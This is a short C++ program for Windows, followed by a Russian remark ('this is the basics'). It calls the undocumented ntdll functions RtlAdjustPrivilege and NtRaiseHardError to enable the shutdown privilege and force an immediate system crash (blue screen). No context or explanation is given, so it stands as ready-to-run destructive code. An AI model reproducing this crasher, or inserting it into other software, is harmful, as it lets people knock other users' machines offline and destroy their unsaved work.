#include <windows.h>
#include <ntstatus.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI* RtlAdjustPrivilegeFunc)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
typedef NTSTATUS (NTAPI* NtRaiseHardErrorFunc)(NTSTATUS, ULONG, ULONG, PULONG_PTR, ULONG, PULONG);
int main() {
BOOLEAN bEnabled;
ULONG uResponse;
auto RtlAdjustPrivilege = (RtlAdjustPrivilegeFunc)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "RtlAdjustPrivilege");
auto NtRaiseHardError = (NtRaiseHardErrorFunc)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtRaiseHardError");
if (RtlAdjustPrivilege && NtRaiseHardError) {
RtlAdjustPrivilege(19, TRUE, FALSE, &bEnabled);
NtRaiseHardError(STATUS_SYSTEM_PROCESS_TERMINATED, 0, 0, nullptr, 6, &uResponse);
}
return 0;
}
Это база